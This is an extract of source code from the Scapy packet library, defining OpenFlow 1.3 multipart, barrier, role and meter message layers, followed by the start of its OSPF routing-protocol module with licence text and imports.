IntEnumField("out_group", "ANY", ofp_group), IntField("pad3", 0), LongField("cookie", 0), LongField("cookie_mask", 0), MatchField("match")] class OFPFlowStats(_ofp_header_item): name = "OFP_FLOW_STATS" fields_desc = [ShortField("len", None), ByteEnumField("table_id", 0, ofp_table), XByteField("pad1", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0), ShortField("priority", 0), ShortField("idle_timeout", 0), ShortField("hard_timeout", 0), FlagsField("flags", 0, 16, ["SEND_FLOW_REM", "CHECK_OVERLAP", "RESET_COUNTS", "NO_PKT_COUNTS", "NO_BYT_COUNTS"]), IntField("pad2", 0), LongField("cookie", 0), LongField("packet_count", 0), LongField("byte_count", 0), MatchField("match"), PacketListField("instructions", [], OFPIT, length_from=lambda pkt:pkt.len - 56 - pkt.match.len)] # noqa: E501 def extract_padding(self, s): return b"", s class OFPMPReplyFlow(_ofp_header): name = "OFPMP_REPLY_FLOW" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 1, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("flow_stats", [], OFPFlowStats, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestAggregate(OFPMPRequestFlow): name = "OFPMP_REQUEST_AGGREGATE" mp_type = 2 class OFPMPReplyAggregate(_ofp_header): name = "OFPMP_REPLY_AGGREGATE" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 2, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), LongField("packet_count", 0), LongField("byte_count", 0), IntField("flow_count", 0), XIntField("pad2", 0)] class OFPMPRequestTable(_ofp_header): name = "OFPMP_REQUEST_TABLE" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 3, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0)] class OFPTableStats(Packet): name = "OFP_TABLE_STATS" fields_desc = [ByteEnumField("table_id", 0, ofp_table), X3BytesField("pad1", 0), IntField("active_count", 0), LongField("lookup_count", 0), LongField("matched_count", 0)] def extract_padding(self, s): return b"", s class OFPMPReplyTable(_ofp_header): name = "OFPMP_REPLY_TABLE" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 3, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("table_stats", None, OFPTableStats, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestPortStats(_ofp_header): name = "OFPMP_REQUEST_PORT_STATS" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 4, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("port_no", "ANY", ofp_port_no), XIntField("pad", 0)] class OFPPortStats(Packet): def extract_padding(self, s): return b"", s name = "OFP_PORT_STATS" fields_desc = [IntEnumField("port_no", 0, ofp_port_no), XIntField("pad", 0), LongField("rx_packets", 0), LongField("tx_packets", 0), LongField("rx_bytes", 0), LongField("tx_bytes", 0), LongField("rx_dropped", 0), LongField("tx_dropped", 0), LongField("rx_errors", 0), LongField("tx_errors", 0), LongField("rx_frame_err", 0), LongField("rx_over_err", 0), LongField("rx_crc_err", 0), LongField("collisions", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0)] class OFPMPReplyPortStats(_ofp_header): name = "OFPMP_REPLY_PORT_STATS" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 4, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("port_stats", None, OFPPortStats, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestQueue(_ofp_header): name = "OFPMP_REQUEST_QUEUE" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 5, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("port_no", "ANY", ofp_port_no), IntEnumField("queue_id", "ALL", ofp_queue)] class OFPQueueStats(Packet): name = "OFP_QUEUE_STATS" fields_desc = [IntEnumField("port_no", 0, ofp_port_no), IntEnumField("queue_id", 0, ofp_queue), LongField("tx_bytes", 0), LongField("tx_packets", 0), LongField("tx_errors", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0)] def extract_padding(self, s): return b"", s class OFPMPReplyQueue(_ofp_header): name = "OFPMP_REPLY_QUEUE" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 5, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("queue_stats", None, OFPQueueStats, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestGroup(_ofp_header): name = "OFPMP_REQUEST_GROUP" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 6, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("group_id", "ANY", ofp_group), XIntField("pad2", 0)] class OFPBucketStats(Packet): name = "OFP_BUCKET_STATS" fields_desc = [LongField("packet_count", 0), LongField("byte_count", 0)] def extract_padding(self, s): return b"", s class OFPGroupStats(_ofp_header_item): name = "OFP_GROUP_STATS" fields_desc = [ShortField("len", None), XShortField("pad1", 0), IntEnumField("group_id", 0, ofp_group), IntField("ref_count", 0), IntField("pad2", 0), LongField("packet_count", 0), LongField("byte_count", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0), PacketListField("bucket_stats", None, OFPBucketStats, length_from=lambda pkt:pkt.len - 40)] def extract_padding(self, s): return b"", s class OFPMPReplyGroup(_ofp_header): name = "OFPMP_REPLY_GROUP" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 6, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("group_stats", [], OFPGroupStats, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestGroupDesc(_ofp_header): name = "OFPMP_REQUEST_GROUP_DESC" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 7, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0)] class OFPGroupDesc(_ofp_header_item): name = "OFP_GROUP_DESC" fields_desc = [ShortField("len", None), ByteEnumField("type", 0, {0: "OFPGT_ALL", 1: "OFPGT_SELECT", 2: "OFPGT_INDIRECT", 3: "OFPGT_FF"}), XByteField("pad", 0), IntEnumField("group_id", 0, ofp_group), PacketListField("buckets", None, OFPBucket, length_from=lambda pkt: pkt.len - 8)] def extract_padding(self, s): return b"", s class OFPMPReplyGroupDesc(_ofp_header): name = "OFPMP_REPLY_GROUP_DESC" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 7, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("group_descs", [], OFPGroupDesc, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestGroupFeatures(_ofp_header): name = "OFPMP_REQUEST_GROUP_FEATURES" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 8, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0)] ofp_action_types_flags = [v for v in six.itervalues(ofp_action_types) if v != 'OFPAT_EXPERIMENTER'] class OFPMPReplyGroupFeatures(_ofp_header): name = "OFPMP_REPLY_GROUP_FEATURES" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 8, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), FlagsField("types", 0, 32, ["ALL", "SELECT", "INDIRECT", "FF"]), FlagsField("capabilities", 0, 32, ["SELECT_WEIGHT", "SELECT_LIVENESS", "CHAINING", "CHAINING_CHECKS"]), IntField("max_group_all", 0), IntField("max_group_select", 0), IntField("max_group_indirect", 0), IntField("max_group_ff", 0), # no ofpat_experimenter flag FlagsField("actions_all", 0, 32, ofp_action_types_flags), FlagsField("actions_select", 0, 32, ofp_action_types_flags), FlagsField("actions_indirect", 0, 32, ofp_action_types_flags), # noqa: E501 FlagsField("actions_ff", 0, 32, ofp_action_types_flags)] class OFPMPRequestMeter(_ofp_header): name = "OFPMP_REQUEST_METER" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 9, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("meter_id", "ALL", ofp_meter), XIntField("pad2", 0)] class OFPMeterBandStats(Packet): name = "OFP_METER_BAND_STATS" fields_desc = [LongField("packet_band_count", 0), LongField("byte_band_count", 0)] def extract_padding(self, s): return b"", s class OFPMeterStats(Packet): name = "OFP_GROUP_STATS" fields_desc = [IntEnumField("meter_id", 1, ofp_meter), ShortField("len", None), XBitField("pad", 0, 48), IntField("flow_count", 0), LongField("packet_in_count", 0), LongField("byte_in_count", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0), PacketListField("band_stats", None, OFPMeterBandStats, length_from=lambda pkt:pkt.len - 40)] def post_build(self, p, pay): if self.len is None: tmp_len = len(p) + len(pay) p = p[:4] + struct.pack("!H", tmp_len) + p[6:] return p + pay def extract_padding(self, s): return b"", s class OFPMPReplyMeter(_ofp_header): name = "OFPMP_REPLY_METER" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 9, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("meter_stats", [], OFPMeterStats, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestMeterConfig(_ofp_header): name = "OFPMP_REQUEST_METER_CONFIG" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 10, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("meter_id", "ALL", ofp_meter), XIntField("pad2", 0)] class OFPMeterConfig(_ofp_header_item): name = "OFP_METER_CONFIG" fields_desc = [ShortField("len", None), FlagsField("flags", 0, 16, ["KBPS", "PKTPS", "BURST", "STATS"]), IntEnumField("meter_id", 1, ofp_meter), PacketListField("bands", [], OFPMBT, length_from=lambda pkt:pkt.len - 8)] def extract_padding(self, s): return b"", s class OFPMPReplyMeterConfig(_ofp_header): name = "OFPMP_REPLY_METER_CONFIG" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 10, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("meter_configs", [], OFPMeterConfig, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestMeterFeatures(_ofp_header): name = "OFPMP_REQUEST_METER_FEATURES" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 11, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0)] class OFPMPReplyMeterFeatures(_ofp_header): name = "OFPMP_REPLY_METER_FEATURES" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 11, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), IntField("max_meter", 0), FlagsField("band_types", 0, 32, ["DROP", "DSCP_REMARK", "EXPERIMENTER"]), FlagsField("capabilities", 0, 32, ["KPBS", "PKTPS", "BURST", "STATS"]), ByteField("max_bands", 0), ByteField("max_color", 0), XShortField("pad2", 0)] # table features for multipart messages # class OFPTFPT(Packet): name = "Dummy OpenFlow3 Table Features Properties Header" @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_table_features_prop_cls.get(t, Raw) return Raw def post_build(self, p, pay): tmp_len = self.len if tmp_len is None: tmp_len = len(p) + len(pay) p = p[:2] + struct.pack("!H", tmp_len) + p[4:] # every message will be padded correctly zero_bytes = (8 - tmp_len % 8) % 8 p += b"\x00" * zero_bytes return p + pay def extract_padding(self, s): return b"", s ofp_table_features_prop_types = {0: "OFPTFPT_INSTRUCTIONS", 1: "OFPTFPT_INSTRUCTIONS_MISS", 2: "OFPTFPT_NEXT_TABLES", 3: "OFPTFPT_NEXT_TABLES_MISS", 4: "OFPTFPT_WRITE_ACTIONS", 5: "OFPTFPT_WRITE_ACTIONS_MISS", 6: "OFPTFPT_APPLY_ACTIONS", 7: "OFPTFPT_APPLY_ACTIONS_MISS", 8: "OFPTFPT_MATCH", 10: "OFPTFPT_WILDCARDS", 12: "OFPTFPT_WRITE_SETFIELD", 13: "OFPTFPT_WRITE_SETFIELD_MISS", 14: "OFPTFPT_APPLY_SETFIELD", 15: "OFPTFPT_APPLY_SETFIELD_MISS", 65534: "OFPTFPT_EXPERIMENTER", 65535: "OFPTFPT_EXPERIMENTER_MISS"} class OFPTFPTInstructions(OFPTFPT): name = "OFPTFPT_INSTRUCTIONS" fields_desc = [ShortField("type", 0), ShortField("len", None), PacketListField("instruction_ids", [], OFPITID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTInstructionsMiss(OFPTFPT): name = "OFPTFPT_INSTRUCTIONS_MISS" fields_desc = [ShortField("type", 1), ShortField("len", None), PacketListField("instruction_ids", [], OFPITID, length_from=lambda pkt:pkt.len - 4)] class OFPTableID(Packet): name = "OFP_TABLE_ID" fields_desc = [ByteEnumField("table_id", 0, ofp_table)] def extract_padding(self, s): return b"", s class OFPTFPTNextTables(OFPTFPT): name = "OFPTFPT_NEXT_TABLES" fields_desc = [ShortField("type", 2), ShortField("len", None), PacketListField("next_table_ids", None, OFPTableID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTNextTablesMiss(OFPTFPT): name = "OFPTFPT_NEXT_TABLES_MISS" fields_desc = [ShortField("type", 3), ShortField("len", None), PacketListField("next_table_ids", None, OFPTableID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTWriteActions(OFPTFPT): name = "OFPTFPT_WRITE_ACTIONS" fields_desc = [ShortField("type", 4), ShortField("len", None), PacketListField("action_ids", [], OFPATID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTWriteActionsMiss(OFPTFPT): name = "OFPTFPT_WRITE_ACTIONS_MISS" fields_desc = [ShortField("type", 5), ShortField("len", None), PacketListField("action_ids", [], OFPATID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTApplyActions(OFPTFPT): name = "OFPTFPT_APPLY_ACTIONS" fields_desc = [ShortField("type", 6), ShortField("len", None), PacketListField("action_ids", [], OFPATID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTApplyActionsMiss(OFPTFPT): name = "OFPTFPT_APPLY_ACTIONS_MISS" fields_desc = [ShortField("type", 7), ShortField("len", None), PacketListField("action_ids", [], OFPATID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTMatch(OFPTFPT): name = "OFPTFPT_MATCH" fields_desc = [ShortField("type", 8), ShortField("len", None), PacketListField("oxm_ids", [], OXMID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTWildcards(OFPTFPT): name = "OFPTFPT_WILDCARDS" fields_desc = [ShortField("type", 10), ShortField("len", None), PacketListField("oxm_ids", [], OXMID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTWriteSetField(OFPTFPT): name = "OFPTFPT_WRITE_SETFIELD" fields_desc = [ShortField("type", 12), ShortField("len", None), PacketListField("oxm_ids", [], OXMID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTWriteSetFieldMiss(OFPTFPT): name = "OFPTFPT_WRITE_SETFIELD_MISS" fields_desc = [ShortField("type", 13), ShortField("len", None), PacketListField("oxm_ids", [], OXMID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTApplySetField(OFPTFPT): name = "OFPTFPT_APPLY_SETFIELD" fields_desc = [ShortField("type", 14), ShortField("len", None), PacketListField("oxm_ids", [], OXMID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTApplySetFieldMiss(OFPTFPT): name = "OFPTFPT_APPLY_SETFIELD_MISS" fields_desc = [ShortField("type", 15), ShortField("len", None), PacketListField("oxm_ids", [], OXMID, length_from=lambda pkt:pkt.len - 4)] class OFPTFPTExperimenter(OFPTFPT): name = "OFPTFPT_EXPERIMENTER" fields_desc = [ShortField("type", 65534), ShortField("len", None), IntField("experimenter", 0), IntField("exp_type", 0), PacketLenField("experimenter_data", None, Raw, length_from=lambda pkt: pkt.len - 12)] class OFPTFPTExperimenterMiss(OFPTFPT): name = "OFPTFPT_EXPERIMENTER_MISS" fields_desc = [ShortField("type", 65535), ShortField("len", None), IntField("experimenter", 0), IntField("exp_type", 0), PacketLenField("experimenter_data", None, Raw, length_from=lambda pkt: pkt.len - 12)] ofp_table_features_prop_cls = {0: OFPTFPTInstructions, 1: OFPTFPTInstructionsMiss, 2: OFPTFPTNextTables, 3: OFPTFPTNextTablesMiss, 4: OFPTFPTWriteActions, 5: OFPTFPTWriteActionsMiss, 6: OFPTFPTApplyActions, 7: OFPTFPTApplyActionsMiss, 8: OFPTFPTMatch, 10: OFPTFPTWildcards, 12: OFPTFPTWriteSetField, 13: OFPTFPTWriteSetFieldMiss, 14: OFPTFPTApplySetField, 15: OFPTFPTApplySetFieldMiss, 65534: OFPTFPTExperimenter, 65535: OFPTFPTExperimenterMiss} class OFPTableFeatures(_ofp_header_item): name = "OFP_TABLE_FEATURES" fields_desc = [ShortField("len", None), ByteEnumField("table_id", 0, ofp_table), XBitField("pad", 0, 40), StrFixedLenField("table_name", "", 32), LongField("metadata_match", 0), LongField("metadata_write", 0), IntEnumField("config", 0, {0: "OFPTC_NO_MASK", 3: "OFPTC_DEPRECATED_MASK"}), IntField("max_entries", 0), PacketListField("properties", [], OFPTFPT, length_from=lambda pkt:pkt.len - 64)] def extract_padding(self, s): return b"", s class OFPMPRequestTableFeatures(_ofp_header): name = "OFPMP_REQUEST_TABLE_FEATURES" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 12, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), PacketListField("table_features", [], OFPTableFeatures, length_from=lambda pkt:pkt.len - 16)] class OFPMPReplyTableFeatures(_ofp_header): name = "OFPMP_REPLY_TABLE_FEATURES" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 12, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("table_features", [], OFPTableFeatures, length_from=lambda pkt:pkt.len - 16)] # end of table features # class OFPMPRequestPortDesc(_ofp_header): name = "OFPMP_REQUEST_PORT_DESC" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 13, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("port_no", 0, ofp_port_no), XIntField("pad", 0)] class OFPMPReplyPortDesc(_ofp_header): name = "OFPMP_REPLY_PORT_DESC" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 13, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("ports", None, OFPPort, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestExperimenter(_ofp_header): name = "OFPST_REQUEST_EXPERIMENTER" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 65535, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntField("experimenter", 0), IntField("exp_type", 0)] class OFPMPReplyExperimenter(_ofp_header): name = "OFPST_REPLY_EXPERIMENTER" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 65535, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), IntField("experimenter", 0), IntField("exp_type", 0)] # ofp_multipart_request/reply_cls allows generic method OpenFlow3() # to choose the right class for dissection ofp_multipart_request_cls = {0: OFPMPRequestDesc, 1: OFPMPRequestFlow, 2: OFPMPRequestAggregate, 3: OFPMPRequestTable, 4: OFPMPRequestPortStats, 5: OFPMPRequestQueue, 6: OFPMPRequestGroup, 7: OFPMPRequestGroupDesc, 8: OFPMPRequestGroupFeatures, 9: OFPMPRequestMeter, 10: OFPMPRequestMeterConfig, 11: OFPMPRequestMeterFeatures, 12: OFPMPRequestTableFeatures, 13: OFPMPRequestPortDesc, 65535: OFPMPRequestExperimenter} ofp_multipart_reply_cls = {0: OFPMPReplyDesc, 1: OFPMPReplyFlow, 2: OFPMPReplyAggregate, 3: OFPMPReplyTable, 4: OFPMPReplyPortStats, 5: OFPMPReplyQueue, 6: OFPMPReplyGroup, 7: OFPMPReplyGroupDesc, 8: OFPMPReplyGroupFeatures, 9: OFPMPReplyMeter, 10: OFPMPReplyMeterConfig, 11: OFPMPReplyMeterFeatures, 12: OFPMPReplyTableFeatures, 13: OFPMPReplyPortDesc, 65535: OFPMPReplyExperimenter} # end of OFPT_MULTIPART # class OFPTBarrierRequest(_ofp_header): name = "OFPT_BARRIER_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 20, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTBarrierReply(_ofp_header): name = "OFPT_BARRIER_REPLY" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 21, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTQueueGetConfigRequest(_ofp_header): name = "OFPT_QUEUE_GET_CONFIG_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 22, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("port_no", "ANY", ofp_port_no), XIntField("pad", 0)] class OFPTQueueGetConfigReply(_ofp_header): name = "OFPT_QUEUE_GET_CONFIG_REPLY" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 23, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("port", 0, ofp_port_no), XIntField("pad", 0), PacketListField("queues", [], OFPPacketQueue, length_from=lambda pkt:pkt.len - 16)] class OFPTRoleRequest(_ofp_header): name = "OFPT_ROLE_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 24, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("role", 0, {0: "OFPCR_ROLE_NOCHANGE", 1: "OFPCR_ROLE_EQUAL", 2: "OFPCR_ROLE_MASTER", 3: "OFPCR_ROLE_SLAVE"}), XIntField("pad", 0), LongField("generation_id", 0)] class OFPTRoleReply(OFPTRoleRequest): name = "OFPT_ROLE_REPLY" type = 25 class OFPTGetAsyncRequest(_ofp_header): name = "OFPT_GET_ASYNC_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 26, ofp_type), ShortField("len", 8), IntField("xid", 0)] ofp_packet_in_reason = ["NO_MATCH", "ACTION", "INVALID_TTL"] ofp_port_reason = ["ADD", "DELETE", "MODIFY"] ofp_flow_removed_reason = ["IDLE_TIMEOUT", "HARD_TIMEOUT", "DELETE", "GROUP_DELETE"] class OFPTGetAsyncReply(_ofp_header): name = "OFPT_GET_ASYNC_REPLY" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 27, ofp_type), ShortField("len", 32), IntField("xid", 0), FlagsField("packet_in_mask_master", 0, 32, ofp_packet_in_reason), # noqa: E501 FlagsField("packet_in_mask_slave", 0, 32, ofp_packet_in_reason), # noqa: E501 FlagsField("port_status_mask_master", 0, 32, ofp_port_reason), # noqa: E501 FlagsField("port_status_mask_slave", 0, 32, ofp_port_reason), # noqa: E501 FlagsField("flow_removed_mask_master", 0, 32, ofp_flow_removed_reason), # noqa: E501 FlagsField("flow_removed_mask_slave", 0, 32, ofp_flow_removed_reason)] # noqa: E501 class OFPTSetAsync(OFPTGetAsyncReply): name = "OFPT_SET_ASYNC" type = 28 class OFPTMeterMod(_ofp_header): name = "OFPT_METER_MOD" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 29, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("cmd", 0, {0: "OFPMC_ADD", 1: "OFPMC_MODIFY", 2: "OFPMC_DELETE"}), FlagsField("flags", 0, 16, ["KBPS", "PKTPS", "BURST", "STATS"]), IntEnumField("meter_id", 1, ofp_meter), PacketListField("bands", [], OFPMBT, length_from=lambda pkt:pkt.len - 16)] # ofpt_cls allows generic method OpenFlow3() to choose the right class for dissection # noqa: E501 ofpt_cls = {0: OFPTHello, # 1: OFPTError, 2: OFPTEchoRequest, 3: OFPTEchoReply, 4: OFPTExperimenter, 5: OFPTFeaturesRequest, 6: OFPTFeaturesReply, 7: OFPTGetConfigRequest, 8: OFPTGetConfigReply, 9: OFPTSetConfig, 10: OFPTPacketIn, 11: OFPTFlowRemoved, 12: OFPTPortStatus, 13: OFPTPacketOut, 14: OFPTFlowMod, 15: OFPTGroupMod, 16: OFPTPortMod, 17: OFPTTableMod, # 18: OFPTMultipartRequest, # 19: OFPTMultipartReply, 20: OFPTBarrierRequest, 21: OFPTBarrierReply, 22: OFPTQueueGetConfigRequest, 23: OFPTQueueGetConfigReply, 24: OFPTRoleRequest, 25: OFPTRoleReply, 26: OFPTGetAsyncRequest, 27: OFPTGetAsyncReply, 28: OFPTSetAsync, 29: OFPTMeterMod} scapy-2.4.4/scapy/contrib/ospf.py000066400000000000000000000735031372370053500167550ustar00rootroot00000000000000# scapy.contrib.description = Open Shortest Path First (OSPF) # scapy.contrib.status = loads # This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . """ OSPF extension for Scapy This module provides Scapy layers for the Open Shortest Path First routing protocol as defined in RFC 2328 and RFC 5340. Copyright (c) 2008 Dirk Loss : mail dirk-loss de Copyright (c) 2010 Jochen Bartl : jochen.bartl gmail com """ import struct from scapy.packet import bind_layers, Packet from scapy.fields import BitField, ByteEnumField, ByteField, \ ConditionalField, DestIP6Field, FieldLenField, \ FieldListField, FlagsField, IP6Field, IP6PrefixField, IPField, \ IntEnumField, IntField, LenField, PacketListField, ShortEnumField, \ ShortField, StrLenField, X3BytesField, XIntField, XLongField, XShortField from scapy.layers.inet import IP, DestIPField from scapy.layers.inet6 import IPv6, in6_chksum from scapy.utils import fletcher16_checkbytes, checksum, inet_aton from scapy.compat import orb from scapy.config import conf EXT_VERSION = "v0.9.2" class OSPFOptionsField(FlagsField): def __init__(self, name="options", default=0, size=8, names=None): if names is None: names = ["MT", "E", "MC", "NP", "L", "DC", "O", "DN"] FlagsField.__init__(self, name, default, size, names) _OSPF_types = {1: "Hello", 2: "DBDesc", 3: "LSReq", 4: "LSUpd", 5: "LSAck"} class _NoLLSLenField(LenField): """ LenField that will ignore the size of OSPF_LLS_Hdr if it exists in the payload """ def i2m(self, pkt, x): if x is None: x = self.adjust(len(pkt.payload)) if OSPF_LLS_Hdr in pkt: x -= len(pkt[OSPF_LLS_Hdr]) return x class OSPF_Hdr(Packet): name = "OSPF Header" fields_desc = [ ByteField("version", 2), ByteEnumField("type", 1, _OSPF_types), _NoLLSLenField("len", None, adjust=lambda x: x + 24), IPField("src", "1.1.1.1"), IPField("area", 